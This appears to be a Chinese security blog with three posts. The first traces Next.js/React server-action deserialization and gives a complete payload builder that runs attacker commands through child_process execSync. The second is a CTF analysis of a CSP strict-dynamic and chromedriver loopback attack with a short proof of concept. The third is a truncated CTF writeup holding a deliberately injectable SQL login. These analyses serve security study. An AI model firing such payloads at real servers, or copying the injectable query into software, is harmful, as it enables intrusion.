以上，next-action的前置分析完成，再者就到了action的server接收以及解析。

2.action转发处理

我会叙述multipart多块在进行worker转发之后的处理情况。

因为转发之后会带x-action-forwarded。那么就走的是handler-action的

isFetchAction分支，以下是如此分支的源码

因为分支有有效的有8段，以下会一一赘述

if (isFetchAction) {
                        // A fetch action with a multipart body.
                        boundActionArguments = await decodeReply(formData, serverModuleMap, {
                            temporaryReferences
                        });

依旧异步函数，等待decodeReply的return

if (isMultipartAction) {
                    if (isFetchAction) {
                        // A fetch action with a multipart body.
                        const busboy = require('next/dist/compiled/busboy')({
                            defParamCharset: 'utf8',
                            headers: req.headers,
                            limits: {
                                fieldSize: bodySizeLimitBytes
                            }
                        });

在这里走了多表单的分支，引入了busboy，这样可以以boundary分界之后进行解析。但是这里只是引入该行为，动作在后面。limit规定包大小范围

if (isFetchAction) {
                const actionResult = await generateFlight(req, ctx, requestStore, {
                    actionResult: Promise.resolve(returnVal),
                    // if the page was not revalidated, or if the action was forwarded from another worker, we can skip the rendering the flight tree
                    skipFlight: !workStore.pathWasRevalidated || actionWasForwarded,
                    temporaryReferences
                });
                return {
                    type: 'done',
                    result: actionResult
                };

这里因为不明白returnVal变量是什么，我们进行溯源。查找到returnVal是一个调用actionmod进行fetch的，也就是module，而查找其的函数如下

function getActionModIdOrError(actionId, serverModuleMap) {
    var _serverModuleMap_actionId;
    // if we're missing the action ID header, we can't do any further processing
    if (!actionId) {
        throw Object.defineProperty(new _invarianterror.InvariantError("Missing 'next-action' header."), "__NEXT_ERROR_CODE", {
            value: "E664",
            enumerable: false,
            configurable: true
        });
    }
    const actionModId = (_serverModuleMap_actionId = serverModuleMap[actionId]) == null ? void 0 : _serverModuleMap_actionId.id;
    if (!actionModId) {
        throw Object.defineProperty(new Error(`Failed to find Server Action "${actionId}". This request might be from an older or newer deployment.\nRead more: https://nextjs.org/docs/messages/failed-to-find-server-action`), "__NEXT_ERROR_CODE", {
            value: "E665",
            enumerable: false,
            configurable: true
        });
    }
    return actionModId;

在modluemap中找到action对应的modlue，然后返回hax。紧接着就是

const actionMod = await ComponentMod.next_app.require(actionModId);

如此对这个modlue进行异步include操作，也就是一定会回状态。

actionHandler = actionMod[actiomid]

接着这个modlue状态被用于参数actionHandler

const returnVal = await executeActionAndPrepareForRender(actionHandler, boundActionArguments, workStore, requestStore).finally(()=>{
                addRevalidationHeader(res, {
                    workStore,
                    requestStore
                });

这里executeActionAndPrepareForRender将action的modlue挂到状态上进行fetch server action，然后await结果。回到3

最后return的是包装完的flight数据流。也就是actionResult。

如此一来，action和表单的处理就完成了，也就是从二次转发到结束返回RSC数据的全流程，但是还差最后的，也就是busboy解析完成的字段。

最后返回的RSC数据流actionResult由Promise.resolve(returnVal)，req,ctx,requeststore包装成flight.

其中的returnval逻辑

const returnVal = await executeActionAndPrepareForRender(actionHandler, boundActionArguments, workStore, requestStore).finally(()=>{
                addRevalidationHeader(res, {
                    workStore,
                    requestStore
                });
            });

executeActionAndPrepareForRender函数将这些参数变量包装成响应格式返回，actionHandler有对应的模块信息，boundActionArguments便是muiltpart进busboy后过decodeReplyFromBusboy解析的结果。

至于我们的目标，也就是RCE，也发生在这一块。

3.muiltpart的server解析

if (isFetchAction) {
                        // A fetch action with a multipart body.
                        const busboy = require('next/dist/compiled/busboy')({
                            defParamCharset: 'utf8',
                            headers: req.headers,
                            limits: {
                                fieldSize: bodySizeLimitBytes
                            }
                        });
                        // We need to use `pipeline(one, two)` instead of `one.pipe(two)` to propagate size limit errors correctly.
                        pipeline(sizeLimitedBody, busboy, // Avoid unhandled errors from `pipeline()` by passing an empty completion callback.
                        // We'll propagate the errors properly when consuming the stream.
                        ()=>{});
                        boundActionArguments = await decodeReplyFromBusboy(busboy, serverModuleMap, {
                            temporaryReferences
                        });

前置我们已知busboy过decodeReplyFromBusboy解析后返回了boundActionArguments，body被pipeline进了busboy，这里busboy处理逻辑不做赘述。

因为

 pipeline(sizeLimitedBody, busboy, // Avoid unhandled errors from `pipeline()` by passing an empty completion callback.
                        // We'll propagate the errors properly when consuming the stream.
                        ()=>{});

所以参数busboy是作为流式数据源，serverModuleMap便是函数的映射表。

我们接着溯源到函数decodeReplyFromBusboy

exports.decodeReplyFromBusboy = function (
      busboyStream,
      webpackMap,
      options
    ) {
      var response = createResponse(
          webpackMap,
          "",
          options ? options.temporaryReferences : void 0
        ),
        pendingFiles = 0,
        queuedFields = [];
      busboyStream.on("field", function (name, value) {
        0 < pendingFiles
          ? queuedFields.push(name, value)
          : resolveField(response, name, value);
      });
      busboyStream.on("file", function (name, value, _ref2) {
        var filename = _ref2.filename,
          mimeType = _ref2.mimeType;
        if ("base64" === _ref2.encoding.toLowerCase())
          throw Error(
            "React doesn't accept base64 encoded file uploads because we don't expect form data passed from a browser to ever encode data that way. If that's the wrong assumption, we can easily fix it."
          );
        pendingFiles++;
        var JSCompiler_object_inline_chunks_251 = [];
        value.on("data", function (chunk) {
          JSCompiler_object_inline_chunks_251.push(chunk);
        });
        value.on("end", function () {
          var blob = new Blob(JSCompiler_object_inline_chunks_251, {
            type: mimeType
          });
          response._formData.append(name, blob, filename);
          pendingFiles--;
          if (0 === pendingFiles) {
            for (blob = 0; blob < queuedFields.length; blob += 2)
              resolveField(
                response,
                queuedFields[blob],
                queuedFields[blob + 1]
              );
            queuedFields.length = 0;
          }
        });
      });
      busboyStream.on("finish", function () {
        close(response);
      });
      busboyStream.on("error", function (err) {
        reportGlobalError(response, err);
      });
      return getChunk(response, 0);
    };

接收的busboystream便是busboy对象输出的数据流，webpackMap也就是映射，便是serverModuleMap，只是换了个名字。

接下来便是busboystream输出的分块表单，进行回调函数处理，并且设置了队列queuedFields

      busboyStream.on("field", function (name, value) {
        0 < pendingFiles
          ? queuedFields.push(name, value)
          : resolveField(response, name, value);
      });

4是控制field字段的队列，下面都是针对data为file情况的解析。

目光拉回creatResponse

      var response = createResponse(
          webpackMap,
          "",
          options ? options.temporaryReferences : void 0
        ),

溯源:

function createResponse(
      bundlerConfig,
      formFieldPrefix,
      temporaryReferences
    ) {
      var backingFormData =
          3 < arguments.length && void 0 !== arguments[3]
            ? arguments[3]
            : new FormData(),
        chunks = new Map();
      return {
        _bundlerConfig: bundlerConfig,
        _prefix: formFieldPrefix,
        _formData: backingFormData,
        _chunks: chunks,
        _closed: !1,
        _closedReason: null,
        _temporaryReferences: temporaryReferences
      };
    }

webpackMap作为bundlerconfig传入，校验之后创建new formdata()对象

变量在这里再次更新后return

bundlerconfig,也就是webpackmap=_bundlerconfig。 _chunks变为new Map()对象.

_prefix为空字符串。

最后在这些状态挂在response对象的情况下进行getchunk

return getChunk(response, 0);

并且注意到挂载队列的处理函数是resolveField

溯源

function resolveField(response, key, value) {
      response._formData.append(key, value);
      var prefix = response._prefix;
      key.startsWith(prefix) &&
        ((response = response._chunks),
        (key = +key.slice(prefix.length)),
        (prefix = response.get(key)) && resolveModelChunk(prefix, value, key));
    }

这里response已经是挂载成一个集函数map的对象了，并且prefix因为是空字符恒成立，并且将response挂载为chunks

这里的chunks为一个空的对象。上面的key就是name字段，而response便是多表单为解析的空map()对象

这里区分一下，createResponse行为相对是单次的，而resolveField是每次表单执行一次

阶段来说。代码块8的response是有formdata和map两个空对象的

每次都将key和value字段存入formdata。但是另外的chunk开始是空的，也就是取不到key。

也就进不了resolveModelChunk分支。

但是每次decodeReplyFromBusboy结束前都会进一次getchunk。

继续跟进吧

4.表单核心解析

源码如下

function getChunk(response, id) {
      var chunks = response._chunks,
        chunk = chunks.get(id);
      chunk ||
        ((chunk = response._formData.get(response._prefix + id)),
        (chunk =
          null != chunk
            ? new Chunk("resolved_model", chunk, id, response)
            : response._closed
              ? new Chunk("rejected", null, response._closedReason, response)
              : createPendingChunk(response)),
        chunks.set(id, chunk));
      return chunk;
    }

如此return的是一个chunk对象，并且会将它set进chunks，也就是_chunks块中。

也就是说，会将response=>也就是挂载了很多空或非空状态的对象挂载在对象chunk上。

并且chunk挂载在对象chunks上，chunks对应了挂载在response上的_chunks。

也就是说，这是一个循环引用。这样chunk引用也需要访问response的上下文，可以避免数据多次循环传输

也就是说，一个集合对象被循环挂载了，身上属性有id,chunk,以及response。

这里作为参数的chunk其实是来自formdata的字段值。最后return chunk(或者正在pending中)

然后回到函数resolveField

因为response和chunk对象是循环引用的，所以response.get(key)，而key在这里又是name

又因为，每次都是一个新的状态，name对应的值对这条路来说是一次性的。

所以get到对应的chunk，赋值给prefix。

接下来就是esolveModelChunk(prefix, value, key));

value是name的值，key是name字段，prefix是chunk对象

function resolveModelChunk(chunk, value, id) {
      if ("pending" !== chunk.status)
        (chunk = chunk.reason),
          "C" === value[0]
            ? chunk.close("C" === value ? '"$undefined"' : value.slice(1))
            : chunk.enqueueModel(value);
      else {
        var resolveListeners = chunk.value,
          rejectListeners = chunk.reason;
        chunk.status = "resolved_model";
        chunk.value = value;
        chunk.reason = id;
        if (null !== resolveListeners)
          switch ((initializeModelChunk(chunk), chunk.status)) {
            case "fulfilled":
              wakeChunk(resolveListeners, chunk.value);
              break;
            case "pending":
            case "blocked":
            case "cyclic":
              if (chunk.value)
                for (value = 0; value < resolveListeners.length; value++)
                  chunk.value.push(resolveListeners[value]);
              else chunk.value = resolveListeners;
              if (chunk.reason) {
                if (rejectListeners)
                  for (value = 0; value < rejectListeners.length; value++)
                    chunk.reason.push(rejectListeners[value]);
              } else chunk.reason = rejectListeners;
              break;
            case "rejected":
              rejectListeners && wakeChunk(rejectListeners, chunk.reason);
          }
      }
    }

在chunk并不是pending状态下给chunk赋予多个属性

并且当value不为null时，调用函数initializeModelChunk

function initializeModelChunk(chunk) {
      var prevChunk = initializingChunk,
        prevBlocked = initializingChunkBlockedModel;
      initializingChunk = chunk;
      initializingChunkBlockedModel = null;
      var rootReference =
          -1 === chunk.reason ? void 0 : chunk.reason.toString(16),
        resolvedModel = chunk.value;
      chunk.status = "cyclic";
      chunk.value = null;
      chunk.reason = null;
      try {
        var rawModel = JSON.parse(resolvedModel),
          value = reviveModel(
            chunk._response,
            { "": rawModel },
            "",
            rawModel,
            rootReference
          );
        if (
          null !== initializingChunkBlockedModel &&
          0 < initializingChunkBlockedModel.deps
        )
          (initializingChunkBlockedModel.value = value),
            (chunk.status = "blocked");
        else {
          var resolveListeners = chunk.value;
          chunk.status = "fulfilled";
          chunk.value = value;
          null !== resolveListeners && wakeChunk(resolveListeners, value);
        }

这里已经到达核心了，重点就是chunk的value，也就是name的value被带进了函数reviveModel

跟进

function reviveModel(response, parentObj, parentKey, value, reference) {
      if ("string" === typeof value)
        return parseModelString(
          response,
          parentObj,
          parentKey,
          value,
          reference
        );
      if ("object" === typeof value && null !== value)
        if (
          (void 0 !== reference &&
            void 0 !== response._temporaryReferences &&
            response._temporaryReferences.set(value, reference),
          Array.isArray(value))
        )
          for (var i = 0; i < value.length; i++)
            value[i] = reviveModel(
              response,
              value,
              "" + i,
              value[i],
              void 0 !== reference ? reference + ":" + i : void 0
            );
        else
          for (i in value)
            hasOwnProperty.call(value, i) &&
              ((parentObj =
                void 0 !== reference && -1 === i.indexOf(":")
                  ? reference + ":" + i
                  : void 0),
              (parentObj = reviveModel(
                response,
                value,
                i,
                value[i],
                parentObj
              )),
              void 0 !== parentObj ? (value[i] = parentObj) : delete value[i]);
      return value;
    }

五个参数分别是(

            chunk._response,
            { "": rawModel },
            "",
            rawModel,
            rootReference
          )

rawModel就是上述的value。

这里走的string。进入value前缀特殊处理

function parseModelString(response, obj, key, value, reference) {
      if ("$" === value[0]) {
        switch (value[1]) {
          case "$":
            return value.slice(1);
          case "@":
            return (
              (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
            );
          case "F":
            return (
              (value = value.slice(2)),
              (value = getOutlinedModel(
                response,
                value,
                obj,
                key,
                createModel
              )),
              loadServerReference$1(
                response,
                value.id,
                value.bound,
                initializingChunk,
                obj,
                key
              )
            );
          case "T":
            if (
              void 0 === reference ||
              void 0 === response._temporaryReferences
            )
              throw Error(
                "Could not reference an opaque temporary reference. This is likely due to misconfiguring the temporaryReferences options on the server."
              );
            return createTemporaryReference(
              response._temporaryReferences,
              reference
            );
          case "Q":
            return (
              (value = value.slice(2)),
              getOutlinedModel(response, value, obj, key, createMap)
            );
          case "W":
            return (
              (value = value.slice(2)),
              getOutlinedModel(response, value, obj, key, createSet)
            );
          case "K":
            obj = value.slice(2);
            var formPrefix = response._prefix + obj + "_",
              data = new FormData();
            response._formData.forEach(function (entry, entryKey) {
              entryKey.startsWith(formPrefix) &&
                data.append(entryKey.slice(formPrefix.length), entry);
            });
            return data;
          case "i":
            return (
              (value = value.slice(2)),
              getOutlinedModel(response, value, obj, key, extractIterator)
            );
          case "I":
            return Infinity;
          case "-":
            return "$-0" === value ? -0 : -Infinity;
          case "N":
            return NaN;
          case "u":
            return;
          case "D":
            return new Date(Date.parse(value.slice(2)));
          case "n":
            return BigInt(value.slice(2));
        }
        switch (value[1]) {
          case "A":
            return parseTypedArray(response, value, ArrayBuffer, 1, obj, key);
          case "O":
            return parseTypedArray(response, value, Int8Array, 1, obj, key);
          case "o":
            return parseTypedArray(response, value, Uint8Array, 1, obj, key);
          case "U":
            return parseTypedArray(
              response,
              value,
              Uint8ClampedArray,
              1,
              obj,
              key
            );
          case "S":
            return parseTypedArray(response, value, Int16Array, 2, obj, key);
          case "s":
            return parseTypedArray(response, value, Uint16Array, 2, obj, key);
          case "L":
            return parseTypedArray(response, value, Int32Array, 4, obj, key);
          case "l":
            return parseTypedArray(response, value, Uint32Array, 4, obj, key);
          case "G":
            return parseTypedArray(response, value, Float32Array, 4, obj, key);
          case "g":
            return parseTypedArray(response, value, Float64Array, 8, obj, key);
          case "M":
            return parseTypedArray(response, value, BigInt64Array, 8, obj, key);
          case "m":
            return parseTypedArray(
              response,
              value,
              BigUint64Array,
              8,
              obj,
              key
            );
          case "V":
            return parseTypedArray(response, value, DataView, 1, obj, key);
          case "B":
            return (
              (obj = parseInt(value.slice(2), 16)),
              response._formData.get(response._prefix + obj)
            );
        }
        switch (value[1]) {
          case "R":
            return parseReadableStream(response, value, void 0);
          case "r":
            return parseReadableStream(response, value, "bytes");
          case "X":
            return parseAsyncIterable(response, value, !1);
          case "x":
            return parseAsyncIterable(response, value, !0);
        }
        value = value.slice(1);
        return getOutlinedModel(response, value, obj, key, createModel);
      }
      return value;
    }

划出重点

case "$": return value.slice(1);
case "@":
  obj = parseInt(value.slice(2), 16);
  return getChunk(response, obj);
case "F":
  value = value.slice(2);
  value = getOutlinedModel(response, value, obj, key, createModel);
  return loadServerReference$1(
    response,
    value.id,
    value.bound,
    initializingChunk,
    obj,
    key
  );

这里的value第二位为F时的逻辑可以重点看看，取用name的值的第三位，去进行一个getOutlineModel

其中参数可以看看我的注释。

接着上文看看函数getOutlinedModel

    function getOutlinedModel(response, reference, parentObject, key, map) {
      reference = reference.split(":");
      var id = parseInt(reference[0], 16);
      id = getChunk(response, id);
      switch (id.status) {
        case "resolved_model":
          initializeModelChunk(id);
      }
      switch (id.status) {
        case "fulfilled":
          parentObject = id.value;
          for (key = 1; key < reference.length; key++)
            parentObject = parentObject[reference[key]];
          return map(response, parentObject);
        case "pending":
        case "blocked":
        case "cyclic":
          var parentChunk = initializingChunk;
          id.then(
            createModelResolver(
              parentChunk,
              parentObject,
              key,
              "cyclic" === id.status,
              response,
              map,
              reference
            ),
            createModelReject(parentChunk)
          );
          return null;
        default:
          throw id.reason;
      }
    }

这里选择在getchunk里再跑一遍返回过了处理的id和上下文response，相当于校验一遍。

然后确认renturn后的id状态，如果已经resolve就返回

这里也许有人会怀疑重复解析的问题，因为initializeModelChunk是传入的原点。

但是这忽略了value的再次引用重复解析，比如$2:then。

传入一次就会再次解析一次，一直到solve。接着

分支fulfilled可以看到它在遍历我们的value，取值并且在map中转为统一格式。这条分支是已经解析完值取值的分支

看pending/blocked/cyclic分支，也就是没轮到块解析时，

会给chunk占位。看看处理函数的参数意味

createModelResolver(
  parentChunk,     // 谁在等（当前初始化的 chunk，比如 chunk8）
  parentObject,    // 要回填的那个对象（比如 chunk8.value 里的某个对象）
  key,             // 回填的字段名（比如 "_response" 或者数组下标）
  "cyclic" === id.status, // 这次等待是否因为环（true/false）
  response,        // 解码上下文（包含 _chunks/_formData/_prefix 等）
  map,             // 映射函数（把取到的值进一步 revive/包装）
  reference        // 引用路径数组，比如 ["7"] 或 ["2","then"]
) {
      if (initializingChunkBlockedModel) {
        var blocked = initializingChunkBlockedModel;
        cyclic || blocked.deps++;
      } else
        blocked = initializingChunkBlockedModel = {
          deps: cyclic ? 0 : 1,
          value: null
        };
      return function (value) {
        for (var i = 1; i < path.length; i++) value = value[path[i]];
        parentObject[key] = map(response, value);
        "" === key &&
          null === blocked.value &&
          (blocked.value = parentObject[key]);
        blocked.deps--;
        0 === blocked.deps &&
          "blocked" === chunk.status &&
          ((value = chunk.value),
          (chunk.status = "fulfilled"),
          (chunk.value = blocked.value),
          null !== value && wakeChunk(value, blocked.value));
      };
    }

这里是算block的依赖的，如果依赖被使用就欠着。如果 deps==0，就把父 chunk 从 blocked 变 fulfilled，并唤醒等待它的人。

导致模型可以调用，进一步导致了可以绕过waf，比如prototype和construct

等。进一步加深了CVE-2025-55812的危害，以及衍生的55813等等。

function get_payload_body(cmd) {
  const s = JSON.stringify.bind(JSON);
  const payload = {
    0: {
      "status": "resolved_model",
      "then": "$1:then",
      "_response": "$5",
      "value": s({
        "_preloads": ["$8"],
        "then": "$2:map",
        "0": "$a",
        "length": 1
      }),
      "reason": 0,
    },
    1: "$@0",

    // array
    2: [],

    // _temporaryReferences
    3: {
      "length": 0,
      "set": "$2:push"
    },

    // Module._load
    4: {
      "id": "foo",
      "bound": ["child_process"]
    },
    5: {
      "_bundlerConfig": {
        "foo": { "id": "module", "name": "_load", "chunks": [] }
      },
      "_prefix": "$1:_response:_prefix",
      "_formData": "$1:_response:_formData",
      "_chunks": "$1:_response:_chunks"
    },
    6: "$F4",

    // fake response for getting child_process
    7: {
      "_prefix": "",
      "_chunks": "$1:_response:_chunks",
      "_formData": {
        "get": "$6",
      }
    },
    8: {
      "_prefix": "",
      "_chunks": "$1:_response:_chunks",
      "_formData": "$1:_response:_formData",
      // use _temporaryReferences to push all reason, used to deliver child_process
      "_temporaryReferences": "$3",
    },
    9: {
      "_prefix": `${cmd} ; #`,
      "_chunks": "$1:_response:_chunks",
      "_formData": {
        "get": "$3:1:execSync", // execSync
      },
    },
    10: {
      "status": "resolved_model",
      "then": "$1:then",
      "_response": "$7",
      "reason": -1,
      "value": s({
        "status": "resolved_model",
        "then": "$1:then",
        "reason": {
          "0": "$B33", // emit, reason will be child_process
          "length": 1,
          "toString": "$2:pop"
        },
        "_response": "$8", // reason will be stored in _temporaryReferences
        "value": s({
          "status": "resolved_model",
          "then": "$1:then",
          "_response": "$9",
          "reason": -1,
          "value": s(["$B77"]), // emit result
        }),
      }),
    },
  }

  const formdata = newFormData();
  for (const [key, value] ofObject.entries(payload)) {
    formdata.append(key, s(value));
  }

  return formdata;
}

0块占位之后，让1引用0未解析的原片段，然后这样可以进入pending分支，这样

可以启动时稳定路径。然后就是一步步用chunk去改映射，然后拿到可以执行命令的对象。

大体上的核心反序列也就是调用.then和chunk对象的映射。

跟这么长的链子花了我不少功夫，但也不失一些乐趣吧，今天还是情人节~

もし，人と人繋がっていたら,

Then I should be in that golden wheat field

My Dear MoMoru

Pasteboard引入的selenium安全杂谈，同源策略的思考

Sun, 18 Jan 2026 00:00:00 GMT

Pasteboard引入的selenium安全杂谈，同源策略的思考

前言:

在存在 DOM 污染的前提下，Selenium的默认启动参数 + strict-dynamic以及CSP + data，可能使Attacker 间接影响 Chromedriver 的runtime行为。这并不是配置层面的，而是默认的配置与浏览器常见的xss进行联动而产生的安全隐患，来源于同源策略的不可信，我想，这是需要进一步校验考量的。

思来想去，我还是想把这篇报告写得更为纯粹一些，所以我会稍微放弃一些在此题前置的DOM污染的讲解。

Pasteboard

先看看dom污染部分的源码操作吧

(function () {
  const n = document.getElementById("rawMsg");
  const raw = n ? n.textContent : "";
  const card = document.getElementById("card");

  try {
    const cfg = window.renderConfig || { mode: (card && card.dataset.mode) || "safe" };
    const mode = cfg.mode.toLowerCase();
    const clean = DOMPurify.sanitize(raw, { ALLOW_DATA_ATTR: false });
    if (card) {
      card.innerHTML = clean;
    }
    if (mode !== "safe") {
      console.log("Render mode:", mode);
    }
  } catch (err) {
    window.lastRenderError = err ? String(err) : "unknown";
    handleError();
  }

  function handleError() {
    const el = document.getElementById("errorReporterScript");
    if (el && el.src) {
      return;
    }

    const c = window.errorReporter || { path: "/telemetry/error-reporter.js" };
    const p = c.path && c.path.value
      ? c.path.value
      : String(c.path || "/telemetry/error-reporter.js");
    const s = document.createElement("script");
    s.id = "errorReporterScript";
    let src = p;
    try {
      src = new URL(p).href;
    } catch (err) {
      src = p.startsWith("/") ? p : "/telemetry/" + p;
    }
    s.src = src;

    if (el) {
      el.replaceWith(s);
    } else {
      document.head.appendChild(s);
    }
  }
})();

在try代码块的后面，如果报error的时候，便会调用handleerror函数，我们看看这函数的构造，在window对象上有renderconfig和errorreporter，污染点在别的地方，这里仅放部分源码

<div id="injected">{{ msg|safe }}</div>
def _csp_header(nonce):
    return (
        "default-src 'self'; "
        "base-uri 'none'; "
        "object-src 'none'; "
        "img-src 'self' data:; "
        "style-src 'self'; "
        "connect-src *; "
        f"script-src 'nonce-{nonce}' 'strict-dynamic'"
    )

可以看到这里的f"script-src 'nonce-{nonce}' 'strict-dynamic'"，有严格的安全限制，不允许我们在html里随便插入自创脚本，但是strict-dynamic允许我们动态加载脚本，只有其父脚本携带合法 nonce，以及未被 Trusted Types阻止，那么我们就可以劫持renderconfig和errorreporter两个变量去伪造js路径，并且利用data协议去进行现时加载。这是dom部分。

关于selenium

我们看看核心bot.py

import time

from selenium import webdriver
from selenium.webdriver.chrome.options import Options

BASE_URL = "http://127.0.0.1:5000"
FLAG = "uoftctf{fake_flag}"

def visit_url(target_url):
    options = Options()
    options.add_argument("--headless=true")
    options.add_argument("--disable-gpu")
    options.add_argument("--no-sandbox")
    driver = webdriver.Chrome(options=options)
    try:
        driver.get(target_url)
        time.sleep(30)
    finally:
        driver.quit()

初看仅仅是一个bot去访问target的脚本，虽然限制并不是很严格，设置了no sandbox，但是flag是在bot.py的变量里，而不是在cookie那些地方，我们只能控制前端js，那么如何访问后端呢。

于是我审计了selenium的源码，可以从头开始谈论一下selenium的行动

class Options(ChromiumOptions):
    @property
    def default_capabilities(self) -> dict:
        return DesiredCapabilities.CHROME.copy()

    def enable_mobile(
        self,
        android_package: str | None = "com.android.chrome",
        android_activity: str | None = None,
        device_serial: str | None = None,
    ) -> None:
        super().enable_mobile(android_package, android_activity, device_serial)

可以看到这个类是继承于ChromiumOptions，继续溯源。

# Licensed to the Software Freedom Conservancy (SFC) under one
# or more contributor license agreements.  See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership.  The SFC licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License.  You may obtain a copy of the License at
#
#   http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied.  See the License for the
# specific language governing permissions and limitations
# under the License.


from collections.abc import Mapping, Sequence

from selenium.types import SubprocessStdAlias
from selenium.webdriver.chromium import service


class Service(service.ChromiumService):
    """Service class responsible for starting and stopping the chromedriver executable.

    Args:
        executable_path: Install path of the chromedriver executable, defaults
            to `chromedriver`.
        port: Port for the service to run on, defaults to 0 where the operating
            system will decide.
        service_args: (Optional) Sequence of args to be passed to the subprocess
            when launching the executable.
        log_output: (Optional) int representation of STDOUT/DEVNULL, any IO
            instance or String path to file.
        env: (Optional) Mapping of environment variables for the new process,
            defaults to `os.environ`.
    """

    def __init__(
        self,
        executable_path: str | None = None,
        port: int = 0,
        service_args: Sequence[str] | None = None,
        log_output: SubprocessStdAlias | None = None,
        env: Mapping[str, str] | None = None,
        **kwargs,
    ) -> None:
        self._service_args = service_args or []

        super().__init__(
            executable_path=executable_path,
            port=port,
            service_args=service_args,
            log_output=log_output,
            env=env,
            **kwargs,
        )

    def command_line_args(self) -> list[str]:
        return ["--enable-chrome-logs", f"--port={self.port}"] + self._service_args

    @property
    def service_args(self) -> Sequence[str]:
        """Returns the sequence of service arguments."""
        return self._service_args

    @service_args.setter
    def service_args(self, value: Sequence[str]):
        if isinstance(value, str) or not isinstance(value, Sequence):
            raise TypeError("service_args must be a sequence")
        self._service_args = list(value)

以及webdriver的父类这一段

def __init__(
    self,
    browser_name: str | None = None,
    vendor_prefix: str | None = None,
    options: ChromiumOptions | None = None,
    service: ChromiumService | None = None,
    keep_alive: bool = True,
) -> None:
    """Create a new WebDriver instance, start the service, and create new ChromiumDriver instance.

    Args:
        browser_name: Browser name used when matching capabilities.
        vendor_prefix: Company prefix to apply to vendor-specific WebDriver extension commands.
        options: This takes an instance of ChromiumOptions.
        service: Service object for handling the browser driver if you need to pass extra details.
        keep_alive: Whether to configure ChromiumRemoteConnection to use HTTP keep-alive.
    """
    self.service = service if service else ChromiumService()
    options = options if options else ChromiumOptions()

这里两个init方法初始化，也就是入口，在这里我们要关注的是options，如果没传options就是默认逻辑，继续观察处理逻辑，观察发现options通过取caps能力字典去规范化启动参数，因为这里取自chrome/server.py，而它继承于父类service.ChromiumService，与此同时，返回的还有默认端口号，路径等等。当然这并不重要，因为这都是启动参数，我们要关注的是启动后我们能改变的因素，那就是Chromedriver命令行。

 def command_line_args(self) -> list[str]:
        return ["--enable-chrome-logs", f"--port={self.port}"] + self._service_args

这里返回的参数是可以拼接的，这让我找到了新的可能性，继续溯源，发现是双重继承，分别是ChromiumService类和Service类。

def __init__(
    self,
    executable_path: str | None = None,
    port: int = 0,
    service_args: Sequence[str] | None = None,
    log_output: SubprocessStdAlias | None = None,
    env: Mapping[str, str] | None = None,
    **kwargs,
@property
def service_args(self) -> Sequence[str]:
    """Returns the sequence of service arguments."""
    return self._service_args

@service_args.setter
def service_args(self, value: Sequence[str]):
    if isinstance(value, str) or not isinstance(value, Sequence):
        raise TypeError("service_args must be a sequence")
    self._service_args = list(value)

再是class Service

def _start_process(self, path: str) -> None:
    """Creates a subprocess by executing the command provided.

    Args:
        path: full command to execute
    """
    cmd = [path]
    cmd.extend(self.command_line_args())
    close_file_descriptors = self.popen_kw.pop("close_fds", sys.platform != "win32")
    try:
        start_info = None
        if sys.platform == "win32":
            start_info = subprocess.STARTUPINFO()
            start_info.dwFlags = subprocess.CREATE_NEW_CONSOLE | subprocess.STARTF_USESHOWWINDOW
            start_info.wShowWindow = subprocess.SW_HIDE

        self.process = subprocess.Popen(
            cmd,
            env=self.env,
            close_fds=close_file_descriptors,
            stdout=cast(Optional[Union[int, IO[Any]]], self.log_output),
            stderr=cast(Optional[Union[int, IO[Any]]], self.log_output),
            stdin=PIPE,
            creationflags=self.creation_flags,
            startupinfo=start_info,
            **self.popen_kw,
        )

可以看到service_arg自始至终都是直接向上递归并且没有做任何过滤，然后就原封不动得传到了service里cmd.extend(self.command_line_args())作为启动参数了，也就是说，service是默认开发策略才能让我们进调试，确实，因为只有回环地址才能访问。可以说，这种行为是一种信任转移。

当然，出错最多的也是这一方面，那就是一种联动策略，按理来说是无法直接访问回环的，但是浏览器可以，而我们就可以利用浏览器的dom污染加载恶意js去完成后端层面的参数污染。所以在开发层面来说，这种原本是便利前端调试的功能却出了漏洞。多数情况下都会注重后端安全去多多少少去忽视前端的安全。因为js，浏览器可以类比为一个同源客户端，所以在前后端衔接的时候，我想是可以多多少少考虑这一方面的安全的。

这里附上一段简易的js的POC,以验证本地回环的可行性

window.renderconfig = {
    script: "data:text/javascript,console.log('control')"
};

throw new Error("trigger");

fetch("http://127.0.0.1:xxxx");

以上。

UofTCTF2026 writeup

Fri, 16 Jan 2026 00:00:00 GMT

UofTCTF2026 writeup

额，算了，欲言又止

1.no-quotes

上源码

import os
import time
import pymysql
from flask import Flask, redirect, render_template, render_template_string, request, session, url_for

BASE_DIR = os.path.dirname(os.path.abspath(__file__))

MYSQL_HOST = "127.0.0.1"
MYSQL_PORT = 3306
MYSQL_USER = "ctf"
MYSQL_PASSWORD = "ctf"
MYSQL_DATABASE = "ctf"

app = Flask(__name__)
app.secret_key = os.urandom(24)


def get_db_connection():
    return pymysql.connect(
        host=MYSQL_HOST,
        port=MYSQL_PORT,
        user=MYSQL_USER,
        password=MYSQL_PASSWORD,
        database=MYSQL_DATABASE,
        autocommit=True,
    )


def ensure_db() -> None:
    conn = get_db_connection()
    try:
        with conn.cursor() as cur:
            cur.execute(
                """
                CREATE TABLE IF NOT EXISTS users (
                    id INT AUTO_INCREMENT PRIMARY KEY,
                    username VARCHAR(255) UNIQUE NOT NULL,
                    password VARCHAR(255) NOT NULL
                )
                """
            )
            cur.execute("SELECT 1 FROM users WHERE username = %s", ("test",))
            exists = cur.fetchone()
            if not exists:
                cur.execute(
                    "INSERT INTO users (username, password) VALUES (%s, %s)",
                    ("test", "test"),
                )
    finally:
        conn.close()



def waf(value: str) -> bool:
    blacklist = ["'", '"']
    return any(char in value for char in blacklist)


@app.get("/")
def index():
    return render_template("login.html")


@app.post("/login")
def login():

    username = request.form.get("username", "")
    password = request.form.get("password", "")

    if waf(username) or waf(password):
        return render_template(
            "login.html",
            error="No quotes allowed!",
            username=username,
        )
    query = (
        "SELECT id, username FROM users "
        f"WHERE username = ('{username}') AND password = ('{password}')"
    )
    try:
        conn = get_db_connection()
        with conn.cursor() as cur:
            cur.execute(query)
            row = cur.fetchone()
    except pymysql.MySQLError:
        return render_template(
